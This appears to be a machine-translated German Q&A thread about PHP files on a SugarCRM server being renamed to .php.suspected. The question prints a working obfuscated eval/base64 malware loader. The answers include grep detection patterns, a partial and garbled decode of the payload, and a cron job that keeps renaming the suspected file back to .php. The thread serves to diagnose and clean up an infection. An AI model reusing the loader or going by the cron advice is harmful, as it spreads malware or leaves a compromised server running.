it-swarm.com.de

pHP-Datei automatisch in php.suspected umbenannt

Seit den letzten 4 Tagen haben wir ein seltsames Problem auf unserem Produktionsserver (AWS EC2-Instanz), das nur für einen Standort (SugarCRM) spezifisch ist.

Das Problem ist /home/site_folder/public_html/include/MassUpdate.php wird automatisch in /home/site_folder/public_html/include/MassUpdate.php.suspected umbenannt.

Dies geschieht 2-3 mal am Tag mit 3-4 Stunden Abstand. Dieses Problem tritt nur im Fall einer bestimmten Site auf, selbst wenn es für das Staging von Replikaten derselben Site nicht auftritt. Ich habe sogar den Code dieser Datei von beiden Seiten überprüft, es ist derselbe.

Wir haben gegoogelt und festgestellt, dass dieses Problem hauptsächlich bei Wordpress-Sites auftritt und möglicherweise auf einen Angriff zurückzuführen ist. Aber wir haben unseren Server gegen den Angriff geprüft, es gibt keinen. Auf dem Server wird auch kein Viren/Malware-Scan ausgeführt.

Was sollen wir machen?

Update: Wir haben ein paar Dinge gefunden, nachdem wir diesen link .__ durchlaufen haben. Wir haben egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ ausgeführt und festgestellt, dass es nur wenige Dateien mit dem folgenden Beispielcode gibt.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>

Scheint etwas Malware, wie gehen wir damit um, sie dauerhaft zu entfernen?

Vielen Dank

12
Amol Chakane

Wenn Sie diese Antwort veröffentlichen, kann dies anderen helfen.

  1. Erstellen Sie eine Datei mit '.sh' Erweiterung an einem geeigneten Ort.
  2. Fügen Sie folgenden Code hinzu.

#Rename your_file_name.php.suspected to your_file_name.php mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php

  1. Speichern Sie diese Datei.
  2. Legen Sie cron für alle 10 Minuten (oder was auch immer Sie benötigen) mithilfe der folgenden Zeile in crontab fest

*/10 * * * * path_to_cron_file.sh

  1. Starten Sie den Crontab-Dienst neu.

Sie erhalten eine Menge Dokumentation zum Erstellen von cron bei Google.

0
Amol Chakane

Es ist etwas verschleiert, aber ich habe es entstellt. Die Funktion flnftovr nimmt einen String und ein Array als Argumente. Mit der Formel wird eine neue Zeichenfolge $ ggy erstellt 

isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}

Anschließend wird der Zeichenfolge base64_decode vorangestellt.

Die Zeichenfolge ist $ s, das Array ist $ koicev. Es wertet dann das Ergebnis dieser Manipulation aus. So wird irgendwann eine Zeichenfolge erstellt:

base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)

Was also tatsächlich auf Ihrem Server läuft, ist:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(isset($_SERVER)
encode(serialize($res));
}

Wenn Sie dies nicht erstellt haben und vermuten, dass Ihre Website gehackt wurde, schlagen Sie vor, dass Sie den Server löschen und eine neue Installation der auf Ihrem Server laufenden Apps erstellen.

2
Alan Apter

Die Umbenennung von .php-Dateien in .php.suspected findet heute noch statt. Die folgenden Befehle sollten nicht zu etwas führen:

find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print

In meinem Fall könnten die infizierten Dateien mit den folgenden Befehlen gefunden werden:

cd <web site root>
egrep -Rl '\$GLOBALS.*\\x'
egrep -Rl -Ezo '/\*(\w+)\*/\s*@include\s*[^;]+;\s*/\*'
egrep -Rl -E '^.+(\$_COOKIE|\$_POST).+eval.+$'

Ich habe eine längere Beschreibung des Problems und wie man damit umgehen soll, unter GitHub vorbereitet.

0
Javier Elices

Das Umbenennen von PHP-Dateien in php.suspected wird normalerweise von Hackers Skript beabsichtigt und durchgeführt. Sie ändern die Dateierweiterung, um den Eindruck zu erwecken, dass die Datei von einer Anti-Malware-Software überprüft wurde, sicher ist und nicht ausgeführt werden kann. Tatsächlich aber nicht. Sie ändern die Erweiterung jedes Mal in "php", wenn sie das Skript aufrufen möchten. Danach ändern sie die Erweiterung wieder in "suspected". Sie können darüber lesen Securi Research Labs

Vielleicht ist dieser Beitrag alt, aber das Thema ist noch am Leben. Insbesondere laut Ausrichtung auf Malware-Kampagnen im Juni 2019 WordPress Plugins . Ich habe ein paar "verdächtige" Dateien in den WordPress Unterverzeichnissen meines Kunden gefunden ( zB wp-Inhalt)

0
Wojtek Suszycki